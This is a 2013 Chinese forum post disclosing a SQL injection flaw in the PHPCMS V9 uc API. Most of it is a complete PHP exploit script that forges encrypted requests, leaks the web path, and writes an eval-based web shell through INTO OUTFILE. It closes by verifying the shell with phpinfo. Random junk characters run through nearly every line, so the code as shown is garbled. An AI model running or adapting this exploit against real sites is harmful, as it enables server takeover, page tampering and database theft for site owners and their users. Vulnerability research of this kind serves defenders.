找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2399|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。1 K9 A' M8 T5 T9 ^; ^8 D6 @' o! `, n) @
  R! F! V' x2 ]
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
+ o4 w7 _, e7 |7 W+ R6 a% R/ U. o/ s) @2 l
漏洞分析:' n! k8 s# d% |! F
1.未启用ucenter服务的情况下uc_key为空
! Q9 ~; J- D3 w7 ^2 _( F+ n% t' \define('UC_KEY', pc_base::load_config('system', 'uc_key'));: p4 D: _4 A; E& O- ^* O! n
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。- ?! i' t' c8 H, W" P+ z, A9 q: d$ {2 S/ G8 A
    public function deleteuser($get,$post) {( q; F# `( z$ B7 ^* f- J* T; u
        pc_base::load_app_func('global', 'admin');
. t: [0 ~/ f( M; E& M3 L        pc_base::load_app_class('messagequeue', 'admin' , 0);
7 Z# S1 m+ F; `. \        $ids = new_stripslashes($get['ids']);
6 H/ f# D' {- }4 M) A        $s = $this->member_db->select("ucuserid in ($ids)", "uid");* T# d# e) V" _1 o
SQL语句为
! Q( ^2 ^- O3 L# e$ E, _# U" P1 }. M! WSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids): [* [/ {2 F9 b3 _' i

  h* T, n8 y: Z1 R6 \3 @利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
5 q$ ~1 @' w9 h: J2 P6 I  S( b<?php
/ ^0 A/ s, c. I/ H3 l7 eprint_r('3 R# ~/ ]2 n  G4 f! a
---------------------------------------------------------------------------0 P7 B5 Y3 m) {3 v7 Q
PHPcms (v9 or Old Version) uc api sql injection 0day" L  i- s6 ]4 m
by rayh4c#80sec.com" s$ L+ t7 u  }
---------------------------------------------------------------------------
" F2 Y  p6 P8 h) x, B; `');/ r. e* I* E* w0 n; d0 `

5 n  J8 \6 H4 v  D3 L1 V7 Iif ($argc<3) {* p4 b) F) u# r& E4 E2 R  m
    print_r('. I- t$ I& e, @6 H
---------------------------------------------------------------------------
1 \9 s5 H! ?' z* b: J8 s5 B5 ~Usage: php '.$argv[0].' host path OPTIONS
- `8 D' {9 Z. p4 Xhost:      target server (ip/hostname)% X6 K) ^0 F& q4 G4 ^2 |
path:      path to phpcms8 b& f  P$ f3 l0 L) o& g
Options:
1 E  i* q1 [" H2 D# p -p[port]:    specify a port other than 80
9 O9 C. }5 T* l  q -P[ip:port]: specify a proxy
5 R& D  `0 n4 _4 s* A7 X4 OExample:
  X5 q' l- J/ T; s/ l0 ]php '.$argv[0].' localhost /. j8 s' k2 z6 j" N5 t
php '.$argv[0].' localhost /phpcms/ -p81
' o7 A* @# p. R! m0 O7 ephp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80  I' r3 Y3 c4 M0 i; l/ H/ c/ y" K
---------------------------------------------------------------------------0 o, S2 U& R4 P& @. y& S5 B: @- C
');3 b& D% Y0 e# g* p( q& r
    die;3 Z2 w! R4 D$ Z  a
}
. ?$ v  J" y: C* C
' |& D8 H: k5 b) perror_reporting(7);9 V/ e+ ^9 ~# J4 J
ini_set("max_execution_time",0);
4 E. N" h7 u4 l- {1 W- X; A8 ~5 Vini_set("default_socket_timeout",5);1 e) u/ a: `' _- U( O- b
' Q- g) U; C* a4 R4 v% K3 }
function quick_dump($string)$ {2 E  s  V  i
{
/ t3 Z( _2 ^# Z  E1 P  $result='';$exa='';$cont=0;/ b) [6 ]' q/ c9 o9 y3 e9 t$ {/ b
  for ($i=0; $i<=strlen($string)-1; $i++)
+ r5 @" x: ?5 @' w. f  h' c( s! O  {
" D+ _5 T+ f7 t! C! N( T' Y   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))0 n- d5 L& N9 I4 }
   {$result.="  .";}
( D3 S1 Y; Y  f3 ]5 T0 _   else$ G& ]: [5 I3 z# T2 z0 Z. \
   {$result.="  ".$string[$i];}9 l+ ~7 M7 U! s2 q- G- K
   if (strlen(dechex(ord($string[$i])))==2)) U+ d9 M7 \& w! M6 ^
   {$exa.=" ".dechex(ord($string[$i]));}# ^( X; A! K" {, o9 j3 G- \, }
   else
8 b: Z. S# M" J: D( ?   {$exa.=" 0".dechex(ord($string[$i]));}* X! b8 _5 J' q6 B
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}: K: P/ a  `  k& G% d  F
  }/ ~2 v9 ]' n6 x  H- t. }8 w
return $exa."\r\n".$result;* @, }" ^6 l. L
}+ w0 r$ q0 t8 Z" D1 Y
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
5 V) @- s3 _9 X4 B% \5 b, L% _( L; d7 }6 T( }/ ]1 d9 H
function send($packet)
( E$ m& f% Y* J) w- j{  D  j/ x6 ?7 Y. W" G: e1 i7 `
  global $proxy, $host, $port, $html, $proxy_regex;
2 S* e# o5 _+ N7 w  if ($proxy=='') {. `$ S* s0 H6 E1 o: Y4 k0 F1 L
    $ock=fsockopen(gethostbyname($host),$port);# g: v- h" S/ A$ R+ U+ l" s. \
    if (!$ock) {
4 S& `1 g& G$ u      echo 'No response from '.$host.':'.$port; die;% M1 S2 j# ^! M' H$ X
    }
3 ^: E. K' b  h9 E$ J/ v& @! i! K  }
( c2 Z- Y; b9 X( U  else {
1 a/ d5 h( b& k        $c = preg_match($proxy_regex,$proxy);. P6 M  |9 m% w; u9 F
    if (!$c) {$ H0 n: g$ {5 g* W% ?7 C
      echo 'Not a valid proxy...';die;7 L  k/ y: W9 \( u2 S
    }5 R$ ~& h! X. P  J
    $parts=explode(':',$proxy);
: R- K2 g- j# m( s    $parts[1]=(int)$parts[1];
* }: D! [  W6 Y6 x2 P! o. s7 Z    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
% K; h3 s* T2 X* g: Z7 W7 S    $ock=fsockopen($parts[0],$parts[1]);) N* N. d6 Y' ^2 }; }
    if (!$ock) {) N( M0 ]+ W* i. p3 j. o
      echo 'No response from proxy...';die;: d% I+ X8 I& I: u
        }, u2 P) _4 m* j% t  R# V& n
  }. T6 b9 {9 N: l
  fputs($ock,$packet);1 @% O4 m/ K' Y9 O0 |5 s! W
  if ($proxy=='') {+ O8 o3 ^% z  [: [
    $html='';
/ v7 u* q7 A0 J5 D. m    while (!feof($ock)) {
+ c. f. Q+ N: r$ ]: `  {      $html.=fgets($ock);# s- ^, _7 p5 r$ W7 E6 [6 a
    }
* Q# l) B/ m. H( t+ R. m  }" J; @! d; m7 k& ~# |# ^' I
  else {: I5 E) t2 P1 c: ?
    $html='';7 t+ q% m, @7 L0 y! F/ U& @
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {; |" t- z  _: u5 H3 H4 S
      $html.=fread($ock,1);
" `# c+ F/ Q$ \+ y' q8 e    }7 b5 ?5 G/ I  e& S. D  v9 x' b
  }  W; k2 L9 \  F( P" ~# {
  fclose($ock);
- L- x; k5 j; ~# r: E+ B}$ Z9 g2 ]1 I0 \/ N6 j' h

: F. i& P- |7 n$host=$argv[1];7 T7 I+ ?4 D+ I* m  {4 P
$path=$argv[2];# w1 d' P! }1 J  R/ f& [
$port=80;
! \# B8 w" V. Q+ M1 R; q2 y' `$proxy="";
% ]. W6 Q5 j* y+ O: ~9 Tfor ($i=3; $i<$argc; $i++){
0 Q" p8 _: @9 c4 K( m) f$temp=$argv[$i][0].$argv[$i][1];
$ [! H/ y) _( y/ \8 Oif ($temp=="-p")4 L5 h0 Y9 g3 Z% \  B5 z& Y
{) o: c& V/ P7 |. T. n7 I
  $port=(int)str_replace("-p","",$argv[$i]);3 ]( d4 X8 j7 c+ w, L* c3 @
}
- e$ T2 i" t6 W  ?if ($temp=="-P")
6 x% q7 a* I4 ^7 I{: r) F/ [8 B( S1 D+ {
  $proxy=str_replace("-P","",$argv[$i]);  w& O: z2 Y! N; W, b
}6 z# ?- M) t, K1 v
}
* E; T) {  F* F/ I# f& {; O7 w( ]! {
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}- J1 U: U: F4 U" E" s% c
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
3 u0 I6 ]" R, s! Z  ~9 p0 }9 R: C( A% q- X, T- e
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {  A1 G0 C' i- Y( P

4 w/ `3 J$ t, B* p+ z2 B5 @% O9 V0 b4 T    $ckey_length = 4;
# h5 |* ^! ~5 K1 a
: I1 t0 P$ U+ V1 I; V    $key = md5($key ? $key : '');' L0 t( C2 L2 C9 e$ W& w
    $keya = md5(substr($key, 0, 16));) n3 k" M2 N" H% L2 X% q. Y
    $keyb = md5(substr($key, 16, 16));& h+ y( M% [  @, I6 S( d& u! l+ o# d
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
& ]" \5 j4 G8 |: ^2 O" f) U. G" Z0 Q' ~  [" u
    $cryptkey = $keya.md5($keya.$keyc);
$ E% |/ I$ H+ G3 ?    $key_length = strlen($cryptkey);9 I! z5 ]7 e* ^' [
; O6 `9 X7 k  B+ u, F9 y
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;$ e, K8 C6 |7 |; {( m1 W! i% g
    $string_length = strlen($string);
9 P  u) a& m6 Z! V" [' x  i4 Z! C( f- @* w0 @( i
    $result = '';
6 b' C* z; F: u4 d8 U" g    $box = range(0, 255);2 Y: x# o! H. @: V3 n$ M
2 U) z* B5 V7 C
    $rndkey = array();* r* ]" t, ~4 O
    for($i = 0; $i <= 255; $i++) {
7 h4 s) z9 C& Q7 A, }# P% i, s        $rndkey[$i] = ord($cryptkey[$i % $key_length]);. B5 Q( C, @9 x; s
    }
) A1 y( q' {# G  z) ?# K9 `- K9 f, w. ~
    for($j = $i = 0; $i < 256; $i++) {$ G1 n" p7 ~2 @* ^2 e* Z7 h& \, m
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;( b. j$ d1 Y, c2 {/ F9 w, w2 t
        $tmp = $box[$i];
1 l2 i) `& Q% W7 `% B& v/ F        $box[$i] = $box[$j];
, p" V, T- U9 Y& o        $box[$j] = $tmp;
  d+ h# V! U3 a8 i  j( e; L    }& Z8 y: m+ @/ I9 M8 d

2 J2 n: F7 a( {1 \    for($a = $j = $i = 0; $i < $string_length; $i++) {, h  N8 E$ o: e+ g: b4 n
        $a = ($a + 1) % 256;
+ D7 a4 M3 F; t0 F4 C        $j = ($j + $box[$a]) % 256;
& q: E5 ^0 k- f( t/ N* Y6 V        $tmp = $box[$a];
1 D8 A; e- H- T. m( x! [; C        $box[$a] = $box[$j];
0 @3 d) N3 U: r8 |0 ?  Q* p( R        $box[$j] = $tmp;" }+ ^( k* f+ c: K* u* I
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
% C) o$ w5 {2 ?8 _  G& p& r; \    }$ P3 X9 Y0 a/ a. m/ F; _

6 E# W' g, c$ L6 k* u    if($operation == 'DECODE') {6 T; R9 ^1 B, `6 \3 M7 @0 o
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {# _: ~2 o3 R9 i# Z0 ~& D9 X, x- c
            return substr($result, 26);: X) ~  f6 t& [' Y; `) o: m+ d
        } else {. @) W- l# P" U. W( z6 A" w
            return '';
4 R& s, G# s* ?1 d& x$ A. j        }
% e" u- _; }* B    } else {
% e) Y$ e8 k. k        return $keyc.str_replace('=', '', base64_encode($result));
9 L* p; g3 b1 n- A    }
" ^. q( i4 l+ r5 O3 J+ M7 d
) N9 ^; [9 j# n2 |, a3 o# V0 f}
3 V. e! M3 k, {
" n0 s" z% ^5 {$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";7 |/ D* q7 M6 b) W9 r+ m2 F. _
$SQL = urlencode(authcode($SQL, "ENCODE", ""));+ u! [. X2 N  B- p2 h4 {
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";2 W( _- s4 f6 \0 h. X! W' q
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";9 N8 S7 g8 V) c  i) s
$packet.="User-Agent: Mozilla/5.0\r\n";- a) t* o5 M2 Z, M* M0 B, j
$packet.="Host: ".$host."\r\n";# t0 {% w) U9 o. U8 K. u/ o/ z
$packet.="Connection: Close\r\n\r\n";
; p9 W9 t: z) L* v7 k/ \send($packet);
8 I7 D  o* |1 v; jif(strpos($html,"MySQL Errno") > 0){
# }- q$ v3 Y0 f) Necho "[2] 发现存在SQL注入漏洞"."\n";9 X6 m7 [+ r1 @$ m! u. k
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";6 v9 B; r4 _" ~( G* m7 z( V3 X  x9 O" ^
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
+ F1 `& r+ p, J0 @5 _$packet.="User-Agent: Mozilla/5.0\r\n";" q, D6 r0 u& J# Y. U$ a9 f% O
$packet.="Host: ".$host."\r\n";
) {. G& Z' b' z' @$packet.="Connection: Close\r\n\r\n";7 }- p5 [3 {% ]
send($packet);
+ `" k- t  [, X! r8 z; fpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);. D6 e0 T' H& M4 F1 x
//print_r($matches);
/ g* q! f, v4 A; Q* Y5 A# g0 H* t, L, Tif(!empty($matches)){/ O$ f/ g$ L; N! L5 i. K
echo "[4] 得到web路径 " . $matches[0]."\n";/ V4 |* e7 ?+ N& d# D" D* a
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
/ ^3 x4 g" `4 V/ |/ L$SQL = "time=999999999999999999999999&ids=1)";
6 K8 U' n; M0 u9 u4 N6 m: L+ O0 D$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";+ R$ {* d+ U5 S7 U0 |3 h
$SQL.="&action=deleteuser";
; J2 D8 S$ ^* Q0 i( M0 V" u2 b$SQL = urlencode(authcode($SQL, "ENCODE", ""));
7 L# X' e3 h# b: D6 K' z0 Wecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";- W  Q! K' g0 T8 d
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";! E" T7 f: ?" q
$packet.="User-Agent: Mozilla/5.0\r\n";
" o: y% k. I# A1 Y$packet.="Host: ".$host."\r\n";  y0 Q+ Y7 |% t9 t( L+ b
$packet.="Connection: Close\r\n\r\n";$ e& @$ t  P" E$ j+ T8 {7 q* o' R
send($packet);* T2 e$ C0 {  t9 M
if(strpos($html,"Access denied") > 0){! a9 H0 v6 e: l* Q2 n
echo "[-] MYSQL权限过低 禁止写入文件 ";! X. G7 M0 r( X7 L4 ~
die;
& ?- R  k, {) _8 u6 h6 ~1 T6 h3 P) t}0 M( N! j0 {- }9 _0 I* r; r
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";# @: h+ |0 [2 d) r4 E2 C
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";$ X' b6 n2 U% p" {
$packet.="User-Agent: Mozilla/5.0\r\n";: p: N) O, A4 [  G  r* _+ O$ M0 H
$packet.="Host: ".$host."\r\n";7 |& U: M, v8 J/ U2 \
$packet.="Connection: Close\r\n\r\n";1 D6 o! y  |" I; v
send($packet);1 L6 ]5 {7 r* C* S( Z5 N  f% L
if(strpos($html,"<title>phpinfo()</title>") > 0){
  T9 f- N4 k/ H6 P% r. i( Xecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";* n" C& k6 q/ e& u) e
}2 m& u* `+ G  W
}else{% O4 c( h; s# f/ B7 a
echo "[-]未取到web路径 ";
6 i2 Q/ y% m4 m, c* ~/ b}7 M* s, l8 G( P3 G
}else{! R( R* P# v* a3 J
echo "[*]不存在SQL注入漏洞"."\n";, V6 q0 K2 m* t0 @' `
}/ p* g( P$ D( ?: \
0 E7 R% I4 M4 m  \: D5 H
?>8 k+ F' Z& @4 J! y! }* f" U( F& w4 |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表